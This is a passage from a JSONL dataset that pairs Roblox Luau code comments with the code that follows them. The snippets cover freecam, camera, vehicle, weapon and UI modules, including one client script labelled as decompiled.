Vector2.new()\n\t\t\tconn:Disconnect()\n\t\t\tif freeCamEnabled then\n\t\t\t\tUIS.MouseBehavior = Enum.MouseBehavior.Default\n\t\t\tend\n\t\telseif input.KeyCode == Enum.KeyCode.LeftShift or input.KeyCode == Enum.KeyCode.RightShift then\n\t\t\tSpeedModifier = 0.5\n\t\tend\n\tend))\n\n\tMaid:Mark(UIS.InputEnded:Connect(function(input, processed)\n\t\tif input.KeyCode == Enum.KeyCode.LeftShift or input.KeyCode == Enum.KeyCode.RightShift then\n\t\t\tSpeedModifier = 1\n\t\tend\n\tend))\n\n\tcamera.CameraType = Enum.CameraType.Scriptable\n\n\tlocal hum, hrp = GetChar()\n\tif hrp then\n\t\thrp.Anchored = true\n\tend\n\tif hum then\n\t\thum.WalkSpeed = 0\n\t\tMaid:Mark(hum.Jumping:Connect(function(active)\n\t\t\tif active then\n\t\t\t\thum.Jumping = false\n\t\t\tend\n\t\tend))\n\tend\n\n\tvelSpring.t, velSpring.v, velSpring.x = Vector3.new(), Vector3.new(), Vector3.new()\n\trotSpring.t, rotSpring.v, rotSpring.x = Vector2.new(), Vector2.new(), Vector2.new()\n\tfovSpring.t, fovSpring.v, fovSpring.x = camera.FieldOfView, 0, camera.FieldOfView\n\n\tlocal camCFrame = camera.CFrame\n\tlocal lookVector = camCFrame.lookVector.unit\n\n\tstateRot = Vector2.new(\n\t\tmath.asin(lookVector.y),\n\t\tmath.atan2(-lookVector.z, lookVector.x) - math.pi/2\n\t)\n\tpanDeltaMouse = Vector2.new()\n\n\tlocal playerGui = player:WaitForChild(\"PlayerGui\")\n\tfor _, obj in next, playerGui:GetChildren() do\n\t\tif obj:IsA(\"ScreenGui\") and obj.Enabled then\n\t\t\tobj.Enabled = false\n\t\t\tscreenGuis[obj] = true\n\t\tend\n\tend\n\tif LETTERBOX then\n\t\tletterbox.Enabled = true\n\tend\n\tRS:BindToRenderStep(\"Freecam\", Enum.RenderPriority.Camera.Value, UpdateFreecam)\n\tfreeCamEnabled = true\nend\n\nlocal function ExitFreecam()\n\tfreeCamEnabled = false\n\tif LETTERBOX then\n\t\tletterbox.Enabled = false\n\tend\n\tUIS.MouseIconEnabled = true\n\tUIS.MouseBehavior = Enum.MouseBehavior.Default\n\tMaid:Sweep()\n\tRS:UnbindFromRenderStep(\"Freecam\")\n\tlocal hum, hrp = GetChar()\n\tif hum then\n\t\thum.WalkSpeed = 16\n\tend\n\tif hrp then\n\t\thrp.Anchored = false\n\tend\n\tcamera.FieldOfView = DEF_FOV\n\tcamera.CameraType = Enum.CameraType.Custom\n\tfor obj in next, screenGuis do\n\t\tobj.Enabled = true\n\tend\n\tscreenGuis = {}\n\tToggleGui(true)\nend\n"} +{"prompt": "--------------------------CHARACTER CONTROL-------------------------------", "completion": "\nlocal CurrentIgnoreList: {Model}\nlocal CurrentIgnoreTag = nil\n\nlocal TaggedInstanceAddedConnection: RBXScriptConnection? = nil\nlocal TaggedInstanceRemovedConnection: RBXScriptConnection? = nil\n\nlocal function GetCharacter(): Model\n\treturn Player and Player.Character\nend\n\nlocal function UpdateIgnoreTag(newIgnoreTag)\n\tif newIgnoreTag == CurrentIgnoreTag then\n\t\treturn\n\tend\n\tif TaggedInstanceAddedConnection then\n\t\tTaggedInstanceAddedConnection:Disconnect()\n\t\tTaggedInstanceAddedConnection = nil\n\tend\n\tif TaggedInstanceRemovedConnection then\n\t\tTaggedInstanceRemovedConnection:Disconnect()\n\t\tTaggedInstanceRemovedConnection = nil\n\tend\n\tCurrentIgnoreTag = newIgnoreTag\n\tCurrentIgnoreList = {GetCharacter()}\n\tif CurrentIgnoreTag ~= nil then\n\t\tlocal ignoreParts = CollectionService:GetTagged(CurrentIgnoreTag)\n\t\tfor _, ignorePart in ipairs(ignoreParts) do\n\t\t\ttable.insert(CurrentIgnoreList, ignorePart)\n\t\tend\n\t\tTaggedInstanceAddedConnection = CollectionService:GetInstanceAddedSignal(\n\t\t\tCurrentIgnoreTag):Connect(function(ignorePart)\n\t\t\ttable.insert(CurrentIgnoreList, ignorePart)\n\t\tend)\n\t\tTaggedInstanceRemovedConnection = CollectionService:GetInstanceRemovedSignal(\n\t\t\tCurrentIgnoreTag):Connect(function(ignorePart)\n\t\t\tfor i = 1, #CurrentIgnoreList do\n\t\t\t\tif CurrentIgnoreList[i] == ignorePart then\n\t\t\t\t\tCurrentIgnoreList[i] = CurrentIgnoreList[#CurrentIgnoreList]\n\t\t\t\t\ttable.remove(CurrentIgnoreList)\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\tend\nend\n\nlocal function getIgnoreList(): {Model}\n\tif CurrentIgnoreList then\n\t\treturn CurrentIgnoreList\n\tend\n\tCurrentIgnoreList = {}\n\ttable.insert(CurrentIgnoreList, GetCharacter())\n\treturn CurrentIgnoreList\nend\n\nlocal function minV(a: Vector3, b: Vector3)\n\treturn Vector3.new(math.min(a.X, b.X), math.min(a.Y, b.Y), math.min(a.Z, b.Z))\nend\nlocal function maxV(a, b)\n\treturn Vector3.new(math.max(a.X, b.X), math.max(a.Y, b.Y), math.max(a.Z, b.Z))\nend\nlocal function getCollidableExtentsSize(character: Model?)\n\tif character == nil or character.PrimaryPart == nil then return end\n\tassert(character, \"\")\n\tassert(character.PrimaryPart, \"\")\n\tlocal toLocalCFrame = character.PrimaryPart.CFrame:Inverse()\n\tlocal min = Vector3.new(math.huge, math.huge, math.huge)\n\tlocal max = Vector3.new(-math.huge, -math.huge, -math.huge)\n\tfor _,descendant in pairs(character:GetDescendants()) do\n\t\tif descendant:IsA('BasePart') and descendant.CanCollide then\n\t\t\tlocal localCFrame = toLocalCFrame * descendant.CFrame\n\t\t\tlocal size = Vector3.new(descendant.Size.X / 2, descendant.Size.Y / 2, descendant.Size.Z / 2)\n\t\t\tlocal vertices = {\n\t\t\t\tVector3.new( size.X, size.Y, size.Z),\n\t\t\t\tVector3.new( size.X, size.Y, -size.Z),\n\t\t\t\tVector3.new( size.X, -size.Y, size.Z),\n\t\t\t\tVector3.new( size.X, -size.Y, -size.Z),\n\t\t\t\tVector3.new(-size.X, size.Y, size.Z),\n\t\t\t\tVector3.new(-size.X, size.Y, -size.Z),\n\t\t\t\tVector3.new(-size.X, -size.Y, size.Z),\n\t\t\t\tVector3.new(-size.X, -size.Y, -size.Z)\n\t\t\t}\n\t\t\tfor _,vertex in ipairs(vertices) do\n\t\t\t\tlocal v = localCFrame * vertex\n\t\t\t\tmin = minV(min, v)\n\t\t\t\tmax = maxV(max, v)\n\t\t\tend\n\t\tend\n\tend\n\tlocal r = max - min\n\tif r.X < 0 or r.Y < 0 or r.Z < 0 then return nil end\n\treturn r\nend\n"} +{"prompt": "-- << VARIABLES >>", "completion": "\nlocal commandDebounce = main.settings.CommandDebounce\nmain.functionsInLoop = {}\nmain.commandsExecuted = {}\nmain.commandsExecutedDivider = 10\n"} +{"prompt": "-- Remote Functions Client -> Server", "completion": "\n\t-- Getters\n\t\tRF_getPlayerData.OnServerInvoke = function(player)\n\t\t\tlocal cahced = database.GetCachedProfile(player.UserId) \n\t\t\treturn cahced\n\t\tend\n\t\tRF_vehicleSpawnRequest.OnServerInvoke = function(player) return vehicles.SpawnPlayerVehicle(player, 1) end\n\t\tRF_vehicleRemoveRequest.OnServerInvoke = function(player) return vehicles.RemovePlayerVehicle(player) end\n\t\tRF_redeemCode.OnServerInvoke = function(player, code) return twitter.RedeemCode(player, code) end\n\t\t\n\t\t-- Weapons\n\t\tRF_GetUnlockedWeapons.OnServerInvoke = function(player) return weapons.GetUnlockedWeapons(player) end\n\t\tRF_GetWeaponInfo.OnServerInvoke = function(player, weaponID) return weapons.GetWeaponInfo(player, weaponID) end\n\t\tRF_GetEquipedWeapon.OnServerInvoke = function(player) return weapons.GetEquipedWeapon(player) end\n\t\t\n\t\tRF_EquipWeapon.OnServerInvoke = function(player,weaponID) return weapons.EquipWeapon(player, weaponID) end\n\t\tRF_UnEquipWeapon.OnServerInvoke = function(player) return weapons.UnEquipWeapon(player) end\n\t\tRF_BuyWeapon.OnServerInvoke = function(player, weaponID) return weapons.BuyWeapon(player, weaponID) end\n\t\n"} +{"prompt": "-- Limits the amount you can steer based on velocity. Helpful for keyboard/non-analog steer inputs", "completion": "\nlocal SteerLimit = 0.2 -- Max amount the steering float (-1 to 1) will be limited by if limitSteerAtHighVel is true\n\nlocal DoGravityAdjust = true -- Adjust chassis values based on the current gravity setting.\nlocal ActualDrivingTorque\nlocal ActualBrakingTorque\nlocal ActualStrutSpringStiffnessFront\nlocal ActualStrutSpringDampingFront\nlocal ActualStrutSpringStiffnessRear\nlocal ActualStrutSpringDampingRear\nlocal ActualTorsionSpringStiffness\nlocal ActualTorsionSpringDamping\n"} +{"prompt": "--[[\n\tPackage link auto-generated by Rotriever\n]]", "completion": "\nlocal PackageIndex = script.Parent._Index\n\nlocal Package = require(PackageIndex[\"RoactRodux\"][\"RoactRodux\"])\n\nreturn Package\n"} +{"prompt": "--// Probabilities", "completion": "\n\tJamChance = 0; -- This is percent scaled. For 100% Chance of jamming, put 100, for 0%, 0; and everything inbetween\n\tTracerChance = 0; -- This is the percen scaled. For 100% Chance of showing tracer, put 100, for 0%, 0; and everything inbetween\n\t"} +{"prompt": "-- Set this to true if you want to instead use the triggers for the throttle", "completion": "\nlocal useTriggersForThrottle = true"} +{"prompt": "-- Dependencies", "completion": "\nlocal Log = require(ReplicatedStorage.Libraries.Log)\nlocal ClientCharacterHandler = require(ReplicatedStorage.Core.ClientCharacterHandler)\nlocal ClientGameHandler = require(ReplicatedStorage.Core.ClientGameHandler)\nlocal Roact = require(ReplicatedStorage.Packages.Roact)\nlocal App = require(ReplicatedStorage.RoactComponents.App)\nlocal Cmdr = require(ReplicatedStorage.CmdrClient)\nlocal PingHandler = require(ReplicatedStorage.Libraries.PingHandler)\n"} +{"prompt": "--RemoveEvent", "completion": "\norigin.StopAnimation.OnClientEvent:Connect(function()\n\tif origin then\n\t\torigin.StopAnimationControl.ConfirmDestruction:FireServer()\n\tend\n\tAnimatingBind:Disconnect()\n\tResetJoints()\n\tscript:Destroy()\nend)"} +{"prompt": "-- Patrol configuration", "completion": "\nlocal PATROL_ENABLED = getValueFromConfig(\"PatrolEnabled\")\nlocal PATROL_RADIUS = getValueFromConfig(\"PatrolRadius\")\n"} +{"prompt": "------------------------------------------------------------------------", "completion": "\n\ndo\n\tlocal enabled = false\n\n\tlocal function ToggleFreecam()\n\t\tif enabled then\n\t\t\tStopFreecam()\n\t\telse\n\t\t\tStartFreecam()\n\t\tend\n\t\tenabled = not enabled\n\tend\n\n\tlocal function CheckMacro(macro)\n\t\tfor i = 1, #macro - 1 do\n\t\t\tif not UserInputService:IsKeyDown(macro[i]) then\n\t\t\t\treturn\n\t\t\tend\n\t\tend\n\t\tToggleFreecam()\n\tend\n\n\tlocal function HandleActivationInput(action, state, input)\n\t\tif state == Enum.UserInputState.Begin then\n\t\t\tif input.KeyCode == FREECAM_MACRO_KB[#FREECAM_MACRO_KB] then\n\t\t\t\tCheckMacro(FREECAM_MACRO_KB)\n\t\t\tend\n\t\tend\n\t\treturn Enum.ContextActionResult.Pass\n\tend\n\n\tContextActionService:BindActionAtPriority(\"FreecamToggle\", HandleActivationInput, false, TOGGLE_INPUT_PRIORITY, FREECAM_MACRO_KB[#FREECAM_MACRO_KB])\nend\n"} +{"prompt": "--[[\n\tA signal value indicating that a child should use its parent's key, because\n\tit has no key of its own.\n\n\tThis occurs when you return only one element from a function component or\n\tstateful render function.\n]]", "completion": "\nElementUtils.UseParentKey = Symbol.named(\"UseParentKey\")\n"} +{"prompt": "--[[Muffins variables]]", "completion": "\n\t\n\tlocal CurrKickdown = 0\n\tlocal LaunchBuild = _Tune.IdleRPM\n\tlocal Rev = script.Parent.Values.RPM\n\t\n\t\n\tscript.Parent.DriveMode.Changed:Connect(function()\n\t\tif script.Parent.DriveMode.Value == \"SportPlus\" then\n\t\t if _Tune.TCSEnabled and _IsOn then\n\t\t\t\t\t_TCS = false\n\t\t end\n\t\telse\n\t\t if _Tune.TCSEnabled and _IsOn then\n\t\t\t\t\t_TCS = true\n\t\t end\t\t\t\n\t\tend\n\tend)\n\n\n"} +{"prompt": "--[[\n\tMain RenderStep Update. The camera controller and occlusion module both have opportunities\n\tto set and modify (respectively) the CFrame and Focus before it is set once on CurrentCamera.\n\tThe camera and occlusion modules should only return CFrames, not set the CFrame property of\n\tCurrentCamera directly.\n--]]", "completion": "\nfunction CameraModule:Update(dt)\n\tif self.activeCameraController then\n\t\tself.activeCameraController:UpdateMouseBehavior()\n\n\t\tlocal newCameraCFrame, newCameraFocus = self.activeCameraController:Update(dt)\n\t\tself.activeCameraController:ApplyVRTransform()\n\t\tif self.activeOcclusionModule then\n\t\t\tnewCameraCFrame, newCameraFocus = self.activeOcclusionModule:Update(dt, newCameraCFrame, newCameraFocus)\n\t\tend\n\n\t\t-- Here is where the new CFrame and Focus are set for this render frame\n\t\tgame.Workspace.CurrentCamera.CFrame = newCameraCFrame\n\t\tgame.Workspace.CurrentCamera.Focus = newCameraFocus\n\n\t\t-- Update to character local transparency as needed based on camera-to-subject distance\n\t\tif self.activeTransparencyController then\n\t\t\tself.activeTransparencyController:Update()\n\t\tend\n\n\t\tif CameraInput.getInputEnabled() then\n\t\t\tCameraInput.resetInputForFrameEnd()\n\t\tend\n\tend\nend\n"} +{"prompt": "--!strict", "completion": "\nlocal Sift = script.Parent.Parent\n\nlocal Util = require(Sift.Util)\nlocal _T = require(Sift.Types)\n\nlocal function compare(a, b)\n\tif type(a) ~= \"table\" or type(b) ~= \"table\" then\n\t\treturn a == b\n\tend\n\n\tfor key, value in pairs(a) do\n\t\tif b[key] ~= value then\n\t\t\treturn false\n\t\tend\n\tend\n\n\tfor key, value in pairs(b) do\n\t\tif a[key] ~= value then\n\t\t\treturn false\n\t\tend\n\tend\n\n\treturn true\nend\n"} +{"prompt": "-- When the weapon is deactivated", "completion": "\nfunction weaponTemplate:OnDeactivate()\n\t\nend\n\nfunction weaponTemplate:OnStartFiring()\nend\n\nfunction weaponTemplate:OnStopFiring()\n\t\n\t-- Is Server\n\tif not self.isClient then\n\t\tself.rewardTimer:Stop()\n\tend\nend\n\nfunction weaponTemplate:OnFire()\n\t\n\t\n\n\tif not self.isClient then\n\t\tself.gun.Barrel.Shoot:Play()\n\tend\n\n\t\t\n\t-- Is Client\n\tif self.isClient then\n\t\tlocal newProjectile = self.projectileModel:Clone()\n\t\tlocal randomPoint = weaponTemplate.getUnitSpherePoint()\n\t\tlocal newBullet = bullet.new(newProjectile, self.ownerPlayer, 50, self.gun.firePart.Position, self.gun.firePart.CFrame.LookVector + randomPoint * self.coneSpread, 500, \"Physics\", false)\n\t\tnewBullet.Name = newProjectile.Name\n\t\treplicateProjectile_Re:FireServer(newBullet)\n\tend\n\t\t\n\n\t\t\t\n\tif not self.isClient then\n\t\t-- Ensure they don't run multiple timers\n\n\t\tif not self.rewardTimer:IsRunning() and self.rewardTimer.runningTicks == 0 then\n\t\t\tspawn(function() self.rewardTimer:Start() end) \n\t\tend\n\tend\nend"} +{"prompt": "--[[**\n\tensure value is an Instance and it's ClassName matches the given ClassName by an IsA comparison\n\n\t@param className The class name to check for\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.instanceIsA(className, childTable)\n\tassert(t.string(className))\n\n\tlocal childrenCheck\n\tif childTable ~= nil then\n\t\tchildrenCheck = t.children(childTable)\n\tend\n\n\treturn function(value)\n\t\tlocal instanceSuccess, instanceErrMsg = t.Instance(value)\n\t\tif not instanceSuccess then\n\t\t\treturn false, instanceErrMsg or \"\"\n\t\tend\n\n\t\tif not value:IsA(className) then\n\t\t\treturn false, string.format(\"%s expected, got %s\", className, value.ClassName)\n\t\tend\n\n\t\tif childrenCheck then\n\t\t\tlocal childrenSuccess, childrenErrMsg = childrenCheck(value)\n\t\t\tif not childrenSuccess then\n\t\t\t\treturn false, childrenErrMsg\n\t\t\tend\n\t\tend\n\n\t\treturn true\n\tend\nend\n"} +{"prompt": "--#Services", "completion": "\nlocal rep = game:GetService(\"ReplicatedStorage\")\n\nif rep:FindFirstChild(\"Footsteps\") then\n\tif not rep.Footsteps.AcceleratedWalking.Value then\n\t\tscript.Parent:Destroy()\n\tend\nend\n"} +{"prompt": "--\t\tbody.FB.BrickColor = bool and BrickColor.new(\"Pearl\") or BrickColor.new(\"Black\")", "completion": "\n\t\tbody.FB.Material = bool and \"Neon\" or \"SmoothPlastic\"\n\t\tbody.FB.Light.Enabled = bool\n\t\tbody.HG.Material = bool and \"Neon\" or \"SmoothPlastic\"\n\t\tbody.HG.BrickColor = bool and BrickColor.new(\"White\") or BrickColor.new(\"Really black\")\n\t\tbody.GH.Material = bool and \"Neon\" or \"SmoothPlastic\"\n\t\tbody.GH.BrickColor = bool and BrickColor.new(\"Bright orange\") or BrickColor.new(\"Bright orange\")\n\t\tbody.KK.Material = bool and \"Neon\" or \"SmoothPlastic\"\n\t\tbody.KK.BrickColor = bool and BrickColor.new(\"Bright orange\") or BrickColor.new(\"Bright orange\")\n\t\tbody.LeftIn.Material = bool and \"Neon\" or \"SmoothPlastic\"\n\t\tbody.LeftIn.BrickColor = bool and BrickColor.new(\"White\") or BrickColor.new(\"Really black\")\n\t\tbody.RightIn.Material = bool and \"Neon\" or \"SmoothPlastic\"\n\t\tbody.RightIn.BrickColor = bool and BrickColor.new(\"White\") or BrickColor.new(\"Really black\")\n\t\tbody.FB.BrickColor = bool and BrickColor.new(\"White\") or BrickColor.new(\"Sand violet metallic\")"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal v1 = {};\nlocal v2 = script:FindFirstAncestor(\"MainUI\");\nlocal v3 = require(v2.Modules.Spring);\nprint(\"Look behind you\");\nprint(\"PATCH: 8/22 A2\");\nwhile true do\n\twait();\n\tif game.Players.LocalPlayer.Character then\n\t\tbreak;\n\tend;\nend;\nv1.char = game.Players.LocalPlayer.Character;\nv1.hum = v1.char:WaitForChild(\"Humanoid\");\nworkspace.CurrentCamera:Destroy();\nwait();\nlocal l__TweenService__4 = game:GetService(\"TweenService\");\nv1.ax_t = 0;\nv1.ay_t = 0;\nv1.az_t = 0;\nv1.ax = 0;\nv1.ay = 0;\nv1.az = 0;\nv1.cam = workspace.CurrentCamera;\nv1.basecamcf = v1.cam.CFrame;\nv1.cam.CameraSubject = v1.char:WaitForChild(\"Humanoid\");\nv1.cam.CameraType = Enum.CameraType.Custom;\nv1.remotes = game:GetService(\"ReplicatedStorage\"):WaitForChild(\"Bricks\");\nv1.s = {\n\treducemotion = true\n};\nv1.ce = {};\nv1.spring = v3.new(Vector3.new(0, 0, 0));\nv1.spring:__newindex(\"Damper\", 0.5);\nv1.spring:__newindex(\"Speed\", 8);\nv1.recoil_spring = v3.new(Vector3.new(0, 0, 0));\nv1.recoil_spring:__newindex(\"Damper\", 0.7);\nv1.recoil_spring:__newindex(\"Speed\", 9);\nv1.crouching = false;\nv1.sprinting = false;\nv1.aiming = false;\nv1.holdclick = false;\nv1.holdjump = false;\nv1.freemouse = false;\nv1.stunned = false;\nv1.viewmodel = script.ViewModel;\nv1.tool = nil;\nv1.fakeTool = nil;\nv1.sightui = nil;\nv1.aimph = 0;\nv1.fovspring = 90;\nv1.fovtarget = 70;\nv1.ti = nil;\nv1.dead = false;\nv1.camlock = nil;\nv1.camlockHead = 0;\nv1.stopcam = false;\nv1.deathtick = tick();\nv1.hideplayers = 0;\nv1.hotbarenabled = true;\nv1.tooloffset = Vector3.new(0, 0, 0);\nv1.chase = false;\nv1.hiding = false;\nv1.camlockedoffset = { 0, 0 };\nv1.camShakerModule = require(game:GetService(\"ReplicatedStorage\"):WaitForChild(\"CameraShaker\"));\nv1.csgo = CFrame.new(0, 0, 0);\nv1.gd = game:GetService(\"ReplicatedStorage\"):WaitForChild(\"GameData\");\nv1.platform = require(game:GetService(\"ReplicatedStorage\"):WaitForChild(\"ClientModules\"):WaitForChild(\"GetPlatform\"))();\nv1.camShaker = v1.camShakerModule.new(200, function(p1)\n\tv1.csgo = p1;\nend);\nv1.camShaker:Start();\nv1.camShaker:StartShake(2, 0.5, 2, Vector3.new(0, 0, 0));\nv1.camShaker:StartShake(0.5, 1, 2, Vector3.new(0, 0, 0));\nfor v5, v6 in pairs(script:GetChildren()) do\n\tif v6:IsA(\"LocalScript\") then\n\t\tv6.Disabled = false;\n\tend;\nend;\nlocal l__StarterGui__7 = game:GetService(\"StarterGui\");\nl__StarterGui__7:SetCoreGuiEnabled(Enum.CoreGuiType.PlayerList, false);\nl__StarterGui__7:SetCoreGuiEnabled(Enum.CoreGuiType.EmotesMenu, false);\nl__StarterGui__7:SetCoreGuiEnabled(Enum.CoreGuiType.Health, false);\nv1.mouse = game.Players.LocalPlayer:GetMouse();\nv1.mouse.Icon = \"rbxassetid://7767604747\";\nif v1.char:FindFirstChild(\"Shirt\") then\n\tv1.char.Shirt:Clone().Parent = v1.viewmodel;\nend;\nfor v8, v9 in pairs(v1.viewmodel:GetChildren()) do\n\tif v9:IsA(\"BasePart\") and v1.char:FindFirstChild(v9.Name) then\n\t\tv9.Color = v1.char:FindFirstChild(v9.Name).Color;\n\tend;\nend;\nfor v10, v11 in pairs(script:GetChildren()) do\n\tif v11:IsA(\"BindableEvent\") then\n\t\tv1.ce[v11.Name] = v11;\n\tend;\nend;\nv2:WaitForChild(\"MainFrame\");\nv2:WaitForChild(\"LobbyFrame\").Visible = false;\nfunction v1.update()\n\tpcall(function()\n\t\tif v1.freemouse == true then\n\t\t\tv1.mouse.Icon = \"\";\n\t\telse\n\t\t\tv1.mouse.Icon = \"rbxassetid://2833720882\";\n\t\tend;\n\t\tif v1.freemouse or v1.dead then\n\t\t\tv2.MainFrame.Visible = false;\n\t\telse\n\t\t\tv2.MainFrame.Visible = true;\n\t\tend;\n\t\tif v1.dead then\n\t\t\tv1.hideplayers = -1;\n\t\tend;\n\t\tif v1.hideplayers > 1 then\n\t\t\tpcall(function()\n\t\t\t\tif v1.char.PrimaryPart.LocalTransparencyModifier < 1 then\n\t\t\t\t\tfor v12, v13 in pairs(v1.char:GetDescendants()) do\n\t\t\t\t\t\tif v13:IsA(\"BasePart\") then\n\t\t\t\t\t\t\tl__TweenService__4:Create(v13, TweenInfo.new(1), {\n\t\t\t\t\t\t\t\tLocalTransparencyModifier = 1\n\t\t\t\t\t\t\t}):Play();\n\t\t\t\t\t\tend;\n\t\t\t\t\tend;\n\t\t\t\tend;\n\t\t\tend);\n\t\t\treturn;\n\t\tend;\n\t\tif v1.hideplayers < -0.1 and v1.char:FindFirstChild(\"Head\") then\n\t\t\tif v1.char.Head.LocalTransparencyModifier > 0 then\n\t\t\t\tfor v14, v15 in pairs(v1.char:GetDescendants()) do\n\t\t\t\t\tif v15:IsA(\"BasePart\") then\n\t\t\t\t\t\tl__TweenService__4:Create(v15, TweenInfo.new(0.05), {\n\t\t\t\t\t\t\tLocalTransparencyModifier = 0\n\t\t\t\t\t\t}):Play();\n\t\t\t\t\tend;\n\t\t\t\tend;\n\t\t\t\treturn;\n\t\t\tend;\n\t\telseif v1.dead == false then\n\t\t\tfor v16, v17 in pairs(v1.char:GetDescendants()) do\n\t\t\t\tif v17:IsA(\"BasePart\") then\n\t\t\t\t\tv17.LocalTransparencyModifier = 1;\n\t\t\t\t\tif v17.Parent == v1.char or not (not v17:FindFirstAncestorOfClass(\"Tool\")) or v17:FindFirstChildOfClass(\"WrapLayer\") then\n\t\t\t\t\t\tif v17.Name == \"Torso\" or v17.Name == \"Head\" then\n\t\t\t\t\t\t\tv17.LocalTransparencyModifier = 1;\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tv17.LocalTransparencyModifier = 0;\n\t\t\t\t\t\tend;\n\t\t\t\t\tend;\n\t\t\t\tend;\n\t\t\tend;\n\t\t\treturn;\n\t\telse\n\t\t\tfor v18, v19 in pairs(v1.char:GetDescendants()) do\n\t\t\t\tif v19:IsA(\"BasePart\") then\n\t\t\t\t\tv19.LocalTransparencyModifier = 0;\n\t\t\t\tend;\n\t\t\tend;\n\t\tend;\n\tend);\nend;\nfunction v1.playaudio(p2, p3, p4, p5, p6)\n\tlocal u1 = p6;\n\tlocal u2 = p5;\n\tlocal u3 = p2;\n\tlocal v20, v21 = pcall(function()\n\t\tif not u1 then\n\t\t\tu1 = 1;\n\t\tend;\n\t\tlocal v22 = nil;\n\t\tif p3 ~= nil then\n\t\t\tif p3:IsA(\"Attachment\") then\n\t\t\t\tv22 = p3.WorldPosition;\n\t\t\telse\n\t\t\t\tv22 = p3.Position;\n\t\t\tend;\n\t\tend;\n\t\tpcall(function()\n\t\t\tif u2 then\n\t\t\t\tu3.RollOffMaxDistance = u2;\n\t\t\t\tif not (u2 < 50) then\n\t\t\t\t\treturn;\n\t\t\t\tend;\n\t\t\telse\n\t\t\t\tu2 = u3.RollOffMaxDistance;\n\t\t\t\treturn;\n\t\t\tend;\n\t\t\tu3.RollOffMinDistance = 2;\n\t\tend);\n\t\tif p3 and u3 and v22 and (v1.cam.CFrame.p - v22).Magnitude < math.clamp(u2, 0, 500) then\n\t\t\tu3 = u3:Clone();\n\t\t\tu3.Parent = p3;\n\t\t\tif p4 and p4 == true then\n\t\t\t\tlocal l__Magnitude__23 = (v1.cam.CFrame.p - v22).Magnitude;\n\t\t\t\tif l__Magnitude__23 > 5 then\n\t\t\t\t\tlocal v24 = RaycastParams.new();\n\t\t\t\t\tv24.CollisionGroup = \"NoPlayer\";\n\t\t\t\t\tv24.FilterDescendantsInstances = { p3, v1.char };\n\t\t\t\t\tlocal v25 = workspace:Raycast(v1.cam.CFrame.p, (v22 - v1.cam.CFrame.p).unit * l__Magnitude__23, v24);\n\t\t\t\t\tif v25 then\n\t\t\t\t\t\tlocal l__Position__26 = v25.Position;\n\t\t\t\t\t\tif l__Position__26 and (l__Position__26 - v1.cam.CFrame.p).Magnitude < l__Magnitude__23 - 4 then\n\t\t\t\t\t\t\tlocal v27 = l__Magnitude__23 + math.abs(l__Position__26.Y - v1.cam.CFrame.p.y) * 3;\n\t\t\t\t\t\t\tlocal v28 = Instance.new(\"EqualizerSoundEffect\");\n\t\t\t\t\t\t\tv28.HighGain = -l__Magnitude__23 * 0.25 / u1;\n\t\t\t\t\t\t\tv28.MidGain = -l__Magnitude__23 * 0.125 / u1;\n\t\t\t\t\t\t\tv28.LowGain = -l__Magnitude__23 * 0.025 / u1;\n\t\t\t\t\t\t\tv28.Parent = u3;\n\t\t\t\t\t\tend;\n\t\t\t\t\tend;\n\t\t\t\tend;\n\t\t\tend;\n\t\t\tu3.Pitch = u3.Pitch + math.random(-100, 100) / 4000;\n\t\t\tu3:Play();\n\t\t\tgame.Debris:AddItem(u3, u3.TimeLength * u3.Pitch + 2);\n\t\t\treturn;\n\t\tend;\n\t\tif u3 and p3 then\n\t\t\treturn;\n\t\tend;\n\t\tif u3 then\n\t\t\tu3 = u3:Clone();\n\t\t\tu3.Parent = v1.char;\n\t\t\tu3.Pitch = u3.Pitch + math.random(-100, 100) / 4000;\n\t\t\tu3:Play();\n\t\t\tgame.Debris:AddItem(u3, u3.TimeLength * u3.Pitch + 2);\n\t\tend;\n\tend);\n\tif v21 then\n\t\twarn(v21);\n\tend;\nend;\nv1.update();\ntask.spawn(function()\n\tfor v29 = 1, 30 do\n\t\tv1.update();\n\t\twait(0.1);\n\tend;\nend);\nreturn v1;\n"} +{"prompt": "-- initialize to idle", "completion": "\nplayAnimation(\"idle\", 0.1, Humanoid)\npose = \"Standing\"\n\nwhile Figure.Parent~=nil do\n\tlocal _, time = wait(0.1)\n\tmove(time)\nend\n\n\n"} +{"prompt": "--// Tracer Vars", "completion": "\n\tTracerTransparency = 0;\t\n\tTracerLightEmission = 1;\n\tTracerTextureLength = 0.1;\n\tTracerLifetime = 0.05;\n\tTracerFaceCamera = true;\n\tTracerColor = BrickColor.new('Deep orange');\n"} +{"prompt": "--[[\n\t\n\tStreamableUtil.Compound(observers: {Observer}, handler: ({[child: string]: Instance}, maid: Maid) -> void): Maid\n\t\n\tExample:\n\t\n\t\tlocal streamable1 = Streamable.new(someModel, \"SomeChild\")\n\t\tlocal streamable2 = Streamable.new(anotherModel, \"AnotherChild\")\n\t\t\n\t\tStreamableUtil.Compound({streamable1, streamable2}, function(streamables, maid)\n\t\t\tlocal someChild = streamables[1].Instance\n\t\t\tlocal anotherChild = streamables[2].Instance\n\t\t\tmaid:GiveTask(function()\n\t\t\t\t-- Cleanup\n\t\t\tend)\n\t\tend)\n\t\n--]]", "completion": "\n\n\nlocal Maid = require(script.Parent.Maid)\n\n\nlocal StreamableUtil = {}\n\n\nfunction StreamableUtil.Compound(streamables, handler)\n\tlocal compoundMaid = Maid.new()\n\tlocal observeAllMaid = Maid.new()\n\tlocal allAvailable = false\n\tlocal function Check()\n\t\tif (allAvailable) then return end\n\t\tfor _,streamable in ipairs(streamables) do\n\t\t\tif (not streamable.Instance) then\n\t\t\t\treturn\n\t\t\tend\n\t\tend\n\t\tallAvailable = true\n\t\thandler(streamables, observeAllMaid)\n\tend\n\tlocal function Cleanup()\n\t\tif (not allAvailable) then return end\n\t\tallAvailable = false\n\t\tobserveAllMaid:DoCleaning()\n\tend\n\tfor _,streamable in ipairs(streamables) do\n\t\tcompoundMaid:GiveTask(streamable:Observe(function(_child, maid)\n\t\t\tCheck()\n\t\t\tmaid:GiveTask(function()\n\t\t\t\tCleanup()\n\t\t\tend)\n\t\tend))\n\tend\n\tcompoundMaid:GiveTask(Cleanup)\n\treturn compoundMaid\nend\n\n\nreturn StreamableUtil\n"} +{"prompt": "-- events", "completion": 